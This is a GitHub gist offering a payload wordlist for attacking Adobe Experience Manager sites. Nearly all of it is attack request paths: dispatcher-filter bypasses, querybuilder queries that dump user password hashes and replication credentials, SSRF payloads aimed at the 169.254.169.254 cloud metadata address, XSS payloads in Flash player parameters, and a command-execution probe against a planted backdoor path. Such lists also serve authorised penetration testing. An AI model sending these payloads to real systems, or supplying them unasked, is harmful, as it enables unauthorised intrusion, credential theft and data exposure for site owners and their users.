Skip to content

Instantly share code, notes, and snippets.

@mrtouch93
Last active Sep 19, 2021
Embed
What would you like to do?
AEM Path - Payloads List
#thx to https://github.com/Raz0r/aemscan/blob/master/aemscan/data/aem-paths.txt, https://raw.githubusercontent.com/ZephrFish/Wordlists/master/AEM-Enum.txt and https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/AdobeCQ-AEM.txt
/..assetsearch.json?query=*&start=0&limit=10&random=123
/.1.json
/.1.xml
/.4.2.1...json
/.childrenlist.json
/.ext.infinity.json
/.ext.infinity.json?tidy=true
/.ext.json
/.feed.xml
/.html/{0}.1.json
/.infinity.json
/.json
/.json/a.css
/.json/a.gif
/.json/a.html
/.json/a.ico
/.json/a.png
/.json/{0}.png
/.json;%0aa.css
/.servlet/a.js
/.tidy.6.json
/.tidy.infinity.json
/.xml
////system///sling/loginstatus.json;%0aa.css
///bin///querybuilder.feed
///bin///querybuilder.feed.servlet
///bin///querybuilder.feed.servlet/a.1.json
///bin///querybuilder.feed.servlet/a.css
///bin///querybuilder.feed.servlet/a.ico
///bin///querybuilder.feed.servlet;%0aa.css
///bin///querybuilder.json
///bin///querybuilder.json.css
///bin///querybuilder.json.html
///bin///querybuilder.json.ico
///bin///querybuilder.json.png
///bin///querybuilder.json.servlet
///bin///querybuilder.json.servlet/a.1.json
///bin///querybuilder.json.servlet/a.css
///bin///querybuilder.json.servlet/a.ico
///bin///querybuilder.json.servlet;%0aa.css
///bin///querybuilder.json/a.1.json
///bin///querybuilder.json/a.css
///bin///querybuilder.json/a.ico
///bin///querybuilder.json;%0aa.css
///bin///wcm///search///gql.json///a.1.json?query=type:base%20limit:..1&pathPrefix=
///bin///wcm///search///gql.json///a.4.2.1...json?query=type:base%20limit:..1&pathPrefix=
///bin///wcm///search///gql.json///a.css?query=type:base%20limit:..1&pathPrefix=
///bin///wcm///search///gql.json///a.html?query=type:base%20limit:..1&pathPrefix=
///bin///wcm///search///gql.json///a.ico?query=type:base%20limit:..1&pathPrefix=
///bin///wcm///search///gql.json///a.js?query=type:base%20limit:..1&pathPrefix=
///bin///wcm///search///gql.json///a.png?query=type:base%20limit:..1&pathPrefix=
///bin///wcm///search///gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix=
///bin///wcm///search///gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix=
///bin///wcm///search///gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix=
///bin///wcm///search///gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix=
///bin///wcm///search///gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix=
///bin///wcm///search///gql.servlet.json?query=type:base%20limit:..1&pathPrefix=
///bin///wcm/search/gql.json
///bin///wcm/search/gql.json/a.1.json
///bin///wcm/search/gql.json/a.css
///bin///wcm/search/gql.json/a.html
///bin///wcm/search/gql.json/a.ico
///bin///wcm/search/gql.json/a.png
///bin///wcm/search/gql.json;%0aa.css
///bin///wcm/search/gql.servlet.json
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.1.json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.4.2.1...json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.html?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.{0}.gif?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet///{0}.bmp?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet///{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet///{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet///{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet///{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet;%0a{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet;%0a{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet;%0a{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet;%0a{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json///{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json///{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json///{0}.ico?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json///{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json///{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json/a.1.json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json/a.4.2.1...json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json/a.html?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json;%0a{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json;%0a{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json;%0a{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json;%0a{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy
///libs///cq///cloudservicesprovisioning///content///autoprovisioning
///libs///cq///contentinsight///content///proxy.reportingservices.json/{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///content///proxy.reportingservices.json/{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///content///proxy.reportingservices.json/{0}.ico?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///content///proxy.reportingservices.json/{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///content///proxy.reportingservices.json/{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///content///proxy.reportingservices.json;%0a{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///content///proxy.reportingservices.json;%0a{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///content///proxy.reportingservices.json;%0a{0}.ico?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///content///proxy.reportingservices.json;%0a{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///content///proxy.reportingservices.json;%0a{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.1.json?url={0}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.4.2.1...json?url={0}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.1.json?url={0}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.4.2.1...json?url={0}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.json?url={0}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.{0}.bmp?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.{0}.ico?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet;%0a{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet;%0a{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet;%0a{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet?url={0}%23/blog.zsec.uk/a&q=a
///libs///cq///contentinsight///proxy///reportingservices.json?url={0}%23/blog.zsec.uk/a&q=a
///libs///cq/contentinsight///proxy///reportingservices.json.GET.servlet;%0a{0}.gif?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///cq/contentinsight///proxy///reportingservices.json.GET.servlet;%0a{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a
///libs///mcm///salesforce///customer{0}?checkType=authorize&authorization_url={{0}}&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
///libs///mcm///salesforce///customer{0}?customer_key=x&customer_secret=y&refresh_token=z&instance_url={{0}}%23
///libs///opensocial///makeRequest{0}?url={{0}}
///libs///opensocial///proxy{0}?container=default&url={{0}}
///system///sling/loginstatus.css
///system///sling/loginstatus.html
///system///sling/loginstatus.ico
///system///sling/loginstatus.json
///system///sling/loginstatus.json/a.1.json
///system///sling/loginstatus.json/a.css
///system///sling/loginstatus.json/a.ico
///system///sling/loginstatus.png
/?query_term=path%3a/&pre=<1337abcdef>&post=yyyy
/ReaderExtensions
/_jcr_system/_jcr_versionStorage.json
/a.css
/admin
/adminui
/apps.1.json
/apps.1.xml
/apps.feed.xml
/apps.infinity.json
/apps.json
/apps.tidy.infinity.json
/apps.xml
/apps/sling/config/org.apache.felix.webconsole.internal.servlet.OsgiManager.config/jcr%3acontent/jcr%3adata
/apps/test
/bin.1.json
/bin.1.xml
/bin.4.2.1...json
/bin.childrenlist.json
/bin.ext.json
/bin.feed.xml
/bin.infinity.json
/bin.json
/bin.json/a.css
/bin.json/a.html
/bin.json/a.ico
/bin.json/a.png
/bin.json;%0aa.css
/bin.tidy.infinity.json
/bin.xml
/bin/acs-tools/qe/predicates.json
/bin/backdoor.html?cmd=ifconfig
/bin/crxde/logs
/bin/crxde/logs{0}?tail=100
/bin/groovyconsole/audit.servlet
/bin/groovyconsole/post.servlet
/bin/msm/audit
/bin/querybuilder.feed
/bin/querybuilder.json
/bin/querybuilder.json.css?path=/home/&p.limit=8
/bin/querybuilder.json/a.1.json
/bin/querybuilder.json/a.css
/bin/querybuilder.json/a.html
/bin/querybuilder.json/a.ico
/bin/querybuilder.json/a.png
/bin/querybuilder.json;%0aa.css
/bin/querybuilder.json?fulltext=admin&p.limit=30
/bin/querybuilder.json?fulltext=password&p.limit=1000
/bin/querybuilder.json?path=/content
/bin/querybuilder.json?path=/content/test/test/en_nz/security/
/bin/querybuilder.json?path=/crx/&p.hits=full&p.limit=50
/bin/querybuilder.json?path=/home&p.hits=full&p.limit=-1
/bin/querybuilder.json?path=/libs/
/bin/querybuilder.json?type=nt:base&p.limit=-1
/bin/querybuilder.json?type=rep:User&p.hits=selective&p.properties=rep:principalName%20rep:password&p.limit=100
/bin/wcm/contentfinder/connector/suggestions
/bin/wcm/contentfinder/connector/suggestions.json/a.html?query_term=path%3a/&pre=%3Csvg+onload%3dalert(document.domain)%3E&post=yyyy
/bin/wcm/search/gql.json/a.1.json?query=type:base%20limit:..1&pathPrefix=
/bin/wcm/search/gql.json/a.4.2.1...json?query=type:base%20limit:..1&pathPrefix=
/bin/wcm/search/gql.json/a.css?query=type:base%20limit:..1&pathPrefix=
/bin/wcm/search/gql.json/a.html?query=type:base%20limit:..1&pathPrefix=
/bin/wcm/search/gql.json/a.ico?query=type:base%20limit:..1&pathPrefix=
/bin/wcm/search/gql.json/a.js?query=type:base%20limit:..1&pathPrefix=
/bin/wcm/search/gql.json/a.png?query=type:base%20limit:..1&pathPrefix=
/bin/wcm/search/gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix=
/bin/wcm/search/gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix=
/bin/wcm/search/gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix=
/bin/wcm/search/gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix=
/bin/wcm/search/gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix=
/bin/wcm/search/gql.json?query=type:base%20limit:..1&pathPrefix=
/bin/wcm/search/gql.servlet.json?query=type:base%20limit:..-1&pathPrefix=
/bin/wcm/search/gql.servlet.json?query=type:base%20limit:..1&pathPrefix=
/composer.json
/content.-1.json
/content.1.json
/content.1.xml
/content.10.json
/content.4.2.1...json
/content.assetsearch.json?query=*&start=0&limit=10&random=123
/content.blueprint.json
/content.childrenlist.json
/content.ext.infinity.1..json?tidy=true
/content.ext.json
/content.feed.html
/content.feed.xml
/content.infinity.json
/content.json
/content.json/a.css
/content.json/a.html
/content.json/a.ico
/content.json/a.png
/content.json;%0aa.css
/content.languages.json
/content.pages.json
/content.rss.xml
/content.tidy.-1.a.json
/content.tidy.-1.blubber.json
/content.tidy.json
/content.xml
/content/../libs/foundation/components/text/text.jsp
/content/..;/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&charset_=utf-8&includeVersions=true
/content/.{.}/libs/foundation/components/text/text.jsp
/content/add_valid_page.html?debug=layout
/content/add_valid_page.qu%65ry.js%6Fn?statement=//*
/content/add_valid_page.query.json?statement=//*
/content/add_valid_page.query.json?statement=//* #/(@transportPassword%20|%20@transportUri%20|%20@transportUser)
/content/add_valid_path_to_a_page/_jcr_content.feed
/content/add_valid_path_to_a_page/_jcr_content.json
/content/add_valid_path_to_a_page/jcr:content.feed
/content/add_valid_path_to_a_page/jcr:content.json
/content/add_valid_path_to_a_page/pagename._jcr_content.feed
/content/add_valid_path_to_a_page/pagename.docview.json
/content/add_valid_path_to_a_page/pagename.docview.xml
/content/add_valid_path_to_a_page/pagename.jcr:content.feed
/content/add_valid_path_to_a_page/pagename.sysview.xml
/content/content/geometrixx.sitemap.txt
/content/dam.tidy.-100.json
/content/geometrixx
/content/geometrixx-outdoors/en.html
/content/test
/content/usergenerated/
/content/usergenerated/etc/commerce/smartlists
/content/usergenerated/etc/commerce/smartlists/test
/crx
/crx/
/crx/de
/crx/de/index.jsp
/crx/explorer/browser/index.jsp
/crx/explorer/browser/index.jsp?.css
/crx/explorer/index.jsp
/crx/explorer/nodetypes/index.jsp
/crx/explorer/ui/namespace_editor.jsp
/crx/explorer/ui/search.jsp
/crx/explorer/ui/search.jsp?Path=&Query=
/crx/packageshare
/crx/packmgr/index.jsp?.css
/crx/repository/test
/crx/repository/test.sh
/damadmin
/damadmin#/content/dam
/dav/crx.default
/etc
/etc.1.json
/etc.1.xml
/etc.childrenlist.json
/etc.feed.xml
/etc.infinity.json
/etc.json
/etc.xml
/etc/acs-tools/aem-fiddle/_jcr_content.run.html
/etc/clientcontext/default/content.html
/etc/clientlibs/foundation/shared/endorsed/swf/slideshow.swf.res?contentPath=%5c"))%7dcatch(e)%7balert(document.domain)%7d//
/etc/clientlibs/foundation/shared/endorsed/swf/slideshow.swf?contentPath=%5c"))%7dcatch(e)%7balert(document.domain)%7d//
/etc/clientlibs/foundation/shared/endorsed/swf/slideshow.swf?contentPath=%5c"))%7dcatch(e)%7balert(document.domain)%7d//
/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf.res?javascriptCallbackFunction=alert(document.domain)-String
/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?javascriptCallbackFunction=alert(document.domain)-String
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf.res?onclick=javascript:confirm(document.domain)
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?onclick=javascript:confirm(document.domain)
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?onclick=jav%gascript:confirm(document.domain)
/etc/cloudservices
/etc/cloudservices.html
/etc/cloudsettings.-1.json
/etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf.res?stagesize=1&namespacePrefix=alert(document.domain)-window
/etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf?stagesize=1&namespacePrefix=alert(document.domain)-window
/etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf?stagesize=1&namespacePrefix=alert(document.domain)-window
/etc/dam/viewers/s7sdk/2.9/flash/VideoPlayer.swf.res?loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain)%7dcatch(e)%7b%7d//
/etc/dam/viewers/s7sdk/2.9/flash/VideoPlayer.swf?loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain)%7dcatch(e)%7b%7d//
/etc/dam/viewers/s7sdk/3.2/flash/VideoPlayer.swf.res?stagesize=1&namespacePrefix=window[/aler/.source%2b/t/.source](document.domain)-window
/etc/dam/viewers/s7sdk/3.2/flash/VideoPlayer.swf?stagesize=1&namespacePrefix=window[/aler/.source%2b/t/.source](document.domain)-window
/etc/groovyconsole/jcr:content.html
/etc/linkchecker.html
/etc/mobile/useragent-test.html
/etc/packages
/etc/replication
/etc/replication.html
/etc/replication/agents.author.html
/etc/replication/agents.publish.html
/etc/replication/agents.publish/flush.html
/etc/replication/treeactivation.html
/etc/reports/auditreport.html
/etc/reports/diskusage.html
/etc/reports/diskusage.html?path=/content/dam
/etc/reports/userreport.html
/home.1.json
/home.1.xml
/home.feed.xml
/home.infinity.json
/home.json
/home.xml
/home/users/a/admin/profile.json
/home/users/a/admin/profile.xml
/jcr:content.json
/jcr:system/jcr:versionStorage.json
/lc/cm/
/lc/content/ws
/lc/crx/packmgr/index.jsp
/lc/system/console
/libs.1.json
/libs.1.xml
/libs.feed.xml
/libs.infinity.json
/libs.json
/libs.xml
/libs/collab/core/content/admin.html
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.1.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.1.json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.4.2.1...json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.gif?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.html?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.html?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.ico?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.png?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.{0}.gif?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/a.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/{0}.bmp?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0aa.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0a{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0a{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0a{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0a{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.1.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.1.json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.4.2.1...json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.html?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.png?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/{0}.ico?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0aa.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0a{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0a{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0a{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0a{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/cloudservicesprovisioning/content/autoprovisioning
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.1.json
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.css
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.gif
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.html
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.ico
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.png
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json;%0aa.css
/libs/cq/contentinsight/content/proxy.reportingservices.1.json?url={0}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.4.2.1...json?url={0}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.1.json?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.html?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.ico?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.png?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/{0}.ico?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json;%0aa.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json;%0a{0}.bmp?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json;%0a{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json;%0a{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json;%0a{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json;%0a{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json?url={0}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.1.json?url={0}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.4.2.1...json?url={0}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.html?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
